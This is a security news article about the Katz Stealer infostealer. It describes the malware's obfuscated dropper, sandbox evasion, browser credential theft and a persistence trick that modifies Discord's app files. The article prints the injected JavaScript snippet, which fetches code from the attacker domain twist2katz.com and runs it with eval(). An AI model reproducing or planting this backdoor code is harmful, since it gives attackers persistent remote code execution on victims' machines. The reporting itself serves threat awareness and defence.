A sophisticated new information-stealing malware known as Katz Stealer has emerged in 2025, demonstrating advanced credential theft capabilities combined with innovative persistence mechanisms that target popular applications like Discord.

The malware-as-a-service (MaaS) platform represents a significant evolution in cybercriminal toolkits, offering threat actors an accessible yet powerful means to compromise systems and steal sensitive data across multiple platforms and applications.

Distributed primarily through phishing campaigns and disguised software downloads, Katz Stealer employs a multi-stage infection chain that begins with heavily obfuscated JavaScript droppers concealed within GZIP archives.

The malware’s initial payload leverages sophisticated obfuscation techniques, including type coercion and polymorphic string construction, to evade static analysis and automated detection systems.

Once executed, the JavaScript dropper invokes PowerShell with hidden window parameters to download and execute subsequent payloads, demonstrating the malware’s commitment to stealth operations.

Picus Security researchers noted that Katz Stealer’s developers have incorporated advanced system fingerprinting capabilities that enable the malware to detect and avoid analysis environments.

UAC Bypass Done by Katz InfoStealer Malware (Source – Picus Security)

The threat performs comprehensive geofencing checks, specifically targeting systems outside Commonwealth of Independent States (CIS) countries, while simultaneously evaluating system characteristics such as screen resolution, BIOS information, and system uptime to identify potential sandbox or virtual machine environments.

This multi-layered detection avoidance strategy significantly complicates security research efforts and enables the malware to operate more effectively in production environments.

The malware’s impact extends across numerous attack vectors, targeting over 78 browser variants for credential extraction, cryptocurrency wallet applications, messaging platforms, and email clients.

Katz Stealer’s comprehensive data theft capabilities include bypassing Chrome’s Application-Bound Encryption (ABE) through sophisticated browser injection techniques, while simultaneously collecting session tokens, saved passwords, and even credit card information from compromised systems.

The immediate exfiltration of stolen data through persistent command-and-control channels ensures that threat actors can quickly monetize their attacks, even if the infection is discovered and remediated shortly after compromise.

Discord Application Hijacking: A Novel Persistence Strategy

One of Katz Stealer’s most innovative features involves its manipulation of the Discord desktop application to establish persistent backdoor access.

The malware targets Discord’s Electron-based architecture by locating the application’s installation directory and modifying the app.asar archive, specifically injecting malicious code into the index.js file that executes during Discord’s startup process.

The injected code establishes a covert communication channel with attacker-controlled infrastructure through seemingly legitimate Discord network activity.

The malware inserts a JavaScript snippet that performs HTTPS requests to domains such as twist2katz.com, using a custom User-Agent string that mimics Chrome browser traffic while including the distinctive “katz-ontop” identifier.

This approach is particularly insidious because it transforms a trusted application into a persistent backdoor mechanism.

require('https').request({
    hostname: 'twist2katz.com',
    path: '/api/getapicn?key=%s',
    headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 katz-ontop'
    }
}, r => {
    let d = '';
    r.on('data', c => d += c);
    r.on('end', () => eval(d));
}).end();

This persistence mechanism proves particularly effective because Discord frequently launches at system startup, automatically re-establishing the backdoor connection even if the primary malware process terminates.

The approach leverages users’ trust in Discord while providing attackers with a reliable means of maintaining system access for future operations, code deployment, or additional data exfiltration activities.

Automate threat response with ANY.RUN’s TI Feeds—Enrich alerts and block malicious IPs across all endpoints -> Request full access

The post Katz Stealer Enhances Credential Theft Capabilities with System Fingerprinting and Persistence Mechanisms appeared first on Cyber Security News.